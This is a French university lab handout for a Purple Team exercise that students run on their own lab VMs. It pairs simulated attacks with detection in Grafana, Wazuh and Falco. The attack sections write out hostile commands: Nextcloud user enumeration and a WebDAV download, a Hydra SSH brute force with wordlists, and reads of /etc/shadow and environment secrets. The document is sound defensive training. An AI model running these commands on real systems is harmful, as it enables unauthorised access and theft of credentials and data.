TP 3 - Simulation d'Attaque Purple Team

3h Avancé

Auteur : Thibaut Fontaine — Kodetis Institution : Université de La Réunion Durée estimée : 3h

---

Table des matières

1. Objectifs et Contexte
2. Scénario 1 : Espionnage scientifique
3. Scénario 2 : Compromission satellite
4. Scénario 3 : Insider threat
5. Exercice Red vs Blue
6. Synthèse des détections
7. Questions de validation

---

1. Objectifs et Contexte

📡 Poste SOC · La Réunion — Acte 3, Prouver : vous rejouez l’incident de bout en bout. Poste avancé : Dumont d’Urville (Terre Adélie).

🎯 Objectif métier — jouer l’attaque et la défense sur la même infra pour prouver que monitoring et SIEM détectent réellement.

🔴 Au fil de l’enquête

Red exploite, Blue détecte, l’audit prouve. Ce TP rejoue la kill chain du jour J sur votre propre infra : si une étape passe sous les radars, c’est ici que vous le découvrez — pas le jour où ça compte. C’est la boucle qui valide tout ce que vous avez construit aux Actes 1 et 2.

Contexte

L’audit de conformité (TP1) et le scan de vulnérabilités (TP2) ont révélé des faiblesses. Le RSSI des TAAF veut maintenant tester les défenses en conditions réelles. Vous allez simuler des attaques inspirées de menaces réalistes et vérifier que le monitoring et le SIEM les détectent.

Approche Purple Team

L’approche Purple Team combine :

• Red Team (attaquant) : simule des attaques réalistes
• Blue Team (défenseur) : surveille et détecte les attaques

Dans ce TP, vous jouez les deux rôles alternativement, ou en binôme (un attaque, l’autre surveille).

graph LR
 RED["Red Team
(TAAF-AUDIT-001)
Attaque"]
 INFRA["Infrastructure TAAF
(VMs cibles)"]
 BLUE["Blue Team
(Grafana + Wazuh)
Détection"]

 RED -->|"Simule des attaques"|INFRA
 INFRA -->|"Génère des alertes"|BLUE
 BLUE -.->|"Feedback"|RED

 style RED fill:#f66,stroke:#333,color:#fff
 style BLUE fill:#66f,stroke:#333,color:#fff

Objectifs pédagogiques

• Exécuter des scénarios d’attaque contrôlés dans un environnement isolé
• Vérifier la détection par Grafana (métriques, logs) et Wazuh (alertes SIEM)
• Identifier les lacunes de détection et proposer des améliorations
• Travailler en binôme Red/Blue pour comprendre les deux perspectives

Rappel éthique

Toutes les attaques sont simulées dans un environnement contrôlé (vos VMs locales). N’utilisez jamais ces techniques sur des systèmes pour lesquels vous n’avez pas d’autorisation explicite. Le cadre légal (article 323-1 du Code pénal) s’applique.

---

2. Scénario 1 : Espionnage scientifique

Contexte narratif

Un groupe APT cherche à exfiltrer les données de recherche en biologie marine stockées sur le Nextcloud de la base Kerguelen. L’attaquant tente d’accéder aux fichiers du dossier “Biologie-marine” via différentes méthodes.

2.1 Phase Red — Attaque

Depuis TAAF-AUDIT-001 :

# Tentative d'accès aux fichiers NextCloud via l'API WebDAV
# avec un compte non autorisé
curl -v -u testuser:wrongpassword \
  http://IP_VM2:8081/remote.php/dav/files/admin/Biologie-marine/

# Tentative d'énumération des utilisateurs
curl -v http://IP_VM2:8081/ocs/v1.php/cloud/users \
  -u admin:admin \
  -H "OCS-APIREQUEST: true"

# Tentative de téléchargement de fichiers sensibles
curl -v -u admin:admin \
  http://IP_VM2:8081/remote.php/dav/files/admin/Biologie-marine/ \
  --output ~/exfiltrated-data.zip

2.2 Phase Blue — Détection

Vérifiez dans vos outils de supervision :

Grafana (Loki) :

• Recherchez les logs Nextcloud contenant des erreurs d’authentification
• Requête LogQL : {job="nextcloud"} |= "Login failed"

Wazuh :

• Recherchez les alertes d’authentification échouée
• Recherchez les accès WebDAV suspects

Falco :

• Si Falco surveille le conteneur Nextcloud, vérifiez les alertes de lecture de fichiers

2.3 Livrable scénario 1

Étape	Action Red	Détecté ?	Outil de détection	Preuve (capture)
Auth échouée	curl avec mauvais mot de passe	?	?
Énumération users	API OCS	?	?
Exfiltration	Téléchargement WebDAV	?	?

---

3. Scénario 2 : Compromission satellite

Contexte narratif

Un attaquant tente de compromettre le serveur de la base (TAAF-MONITORING-001) par brute force SSH pour établir un point d’ancrage dans le réseau TAAF.

3.1 Phase Red — Attaque

Depuis TAAF-AUDIT-001 :

# Création d'une liste d'utilisateurs à tester
cat > ~/users.txt << 'EOF'
root
admin
vagrant
taaf
operator
satellite
deploy
EOF

# Création d'une liste de mots de passe courants
cat > ~/passwords.txt << 'EOF'
password
admin
123456
taaf2024
P@ssw0rd
vagrant
changeme
letmein
EOF

# Brute force SSH avec Hydra
hydra -L ~/users.txt -P ~/passwords.txt \
  ssh://IP_VM2 -t 4 -V

Hydra et performances

Limitez le nombre de threads (-t 4) pour ne pas surcharger la VM cible. Ce n’est pas un vrai pentest — l’objectif est de générer des alertes détectables.

3.2 Phase Blue — Détection

Grafana :

• Dashboard système : observez le pic de connexions SSH
• Loki : {job="syslog"} |= "Failed password"

Wazuh :

• Alertes brute force SSH (règles 5710, 5712, 5720)
• Vérifiez que l’IP IP_AUDIT est identifiée comme source

Alertmanager :

• Si configuré, une alerte devrait être envoyée sur Discord/Google Chat

3.3 Livrable scénario 2

Métrique	Valeur
Nombre de tentatives SSH	?
Durée de l’attaque	?
Délai de détection Wazuh	?
Alerte Alertmanager reçue ?	?
Faux positifs générés ?	?

---

4. Scénario 3 : Insider threat

Contexte narratif

Un technicien mécontent de la base Alfred Faure tente d’obtenir des accès administrateur pour modifier les données météorologiques. Il utilise son compte standard pour tenter une élévation de privilèges.

4.1 Phase Red — Attaque

Connectez-vous à TAAF-MONITORING-001 avec un compte non-root :

# Se connecter en tant qu'utilisateur standard
vagrant ssh monitoring

# Tentative d'accès aux fichiers sensibles
cat /etc/shadow
cat /etc/sudoers

# Tentative d'élévation de privilèges
sudo su -
sudo -l

# Recherche de fichiers SUID exploitables
find / -perm -4000 -type f 2>/dev/null

# Tentative de modification de fichiers de configuration
cat /etc/passwd
cat /proc/version

# Recherche de credentials dans les variables d'environnement
env | grep -i pass
env | grep -i key
env | grep -i secret

# Accès aux bases de données
psql -h localhost -U postgres -d personnel_base -c "SELECT * FROM employes LIMIT 5;"

4.2 Phase Blue — Détection

Falco :

• Détection d’accès à /etc/shadow (règle standard Falco)
• Détection de sudo depuis un utilisateur non autorisé
• Détection de recherche de fichiers SUID

Grafana :

• Pic d’activité CPU/processus sur TAAF-MONITORING-001
• Logs système avec les commandes suspectes

SOC Grafana-natif (Sigma → LogQL) :

• Alertes d’élévation de privilèges
• Alertes d’accès aux fichiers sensibles
• (bonus Wazuh : mêmes alertes corrélées dans son dashboard)

4.3 Livrable scénario 3

Action	Détecté par Falco ?	Détecté par Wazuh ?	Règle déclenchée
cat /etc/shadow	?	?
sudo su -	?	?
find SUID	?	?
Accès BDD	?	?

---

5. Exercice Red vs Blue

Organisation en binôme

Mode binôme

Cet exercice se fait à deux. L’un joue le Red Team, l’autre le Blue Team. Vous inversez les rôles après 30 minutes.

5.1 Phase 1 — Red Team (30 min)

Le Red Team dispose de TAAF-AUDIT-001 et doit :

1. Choisir un scénario d’attaque (un des 3 ci-dessus ou inventer le sien)
2. Exécuter l’attaque sans prévenir le Blue Team du type d’attaque
3. Documenter chaque étape dans un journal d’attaque

5.2 Phase 1 — Blue Team (30 min)

Le Blue Team surveille Grafana + Wazuh et doit :

1. Détecter l’attaque en temps réel
2. Identifier le type d’attaque
3. Identifier la source (IP, utilisateur)
4. Documenter la chronologie de détection

5.3 Phase 2 — Inversion des rôles (30 min)

Inversez les rôles et recommencez avec un scénario différent.

5.4 Débriefing commun

Comparez vos résultats :

• Quelles attaques ont été détectées ? En combien de temps ?
• Quelles attaques sont passées inaperçues ?
• Quelles améliorations proposez-vous pour les règles de détection ?

---

6. Synthèse des détections

Matrice de détection globale

Remplissez cette matrice avec l’ensemble des résultats des 3 scénarios :

Catégorie d’attaque	Grafana (métriques)	Grafana (Loki/logs)	Falco	Wazuh	Alertmanager
Auth échouée web	?	?	?	?	?
Brute force SSH	?	?	?	?	?
Accès fichiers sensibles	?	?	?	?	?
Élévation de privilèges	?	?	?	?	?
Exfiltration de données	?	?	?	?	?
Énumération utilisateurs	?	?	?	?	?

Taux de détection

Taux de détection = (Attaques détectées / Attaques totales) × 100

Livrable : Matrice de détection complétée + taux de détection + 3 recommandations d’amélioration.

---

7. Questions de validation

1. [Facile] Qu’est-ce qu’une approche Purple Team ?
2. [Facile] Quel outil avez-vous utilisé pour le brute force SSH ?
3. [Moyen] Quel est le délai moyen de détection d’un brute force SSH par Wazuh ?
4. [Moyen] Pourquoi Falco détecte-t-il l’accès à /etc/shadow mais pas forcément l’énumération des utilisateurs Nextcloud ?
5. [Moyen] Quelle est la différence entre une détection basée sur les signatures et une détection basée sur le comportement ?
6. [Avancé] Proposez une règle Falco personnalisée pour détecter l’exfiltration de données depuis Nextcloud.
7. [Avancé] Comment un attaquant réel pourrait-il contourner la détection de brute force SSH par Wazuh ?
8. [Avancé] Calculez votre taux de détection. Est-il acceptable pour une infrastructure critique comme les TAAF ?
9. [Expert] Concevez un scénario d’attaque multi-étapes (kill chain) spécifique au contexte TAAF et décrivez comment chaque étape devrait être détectée.
10. [Expert] Comment intégreriez-vous le framework MITRE ATT&CK dans votre matrice de détection ?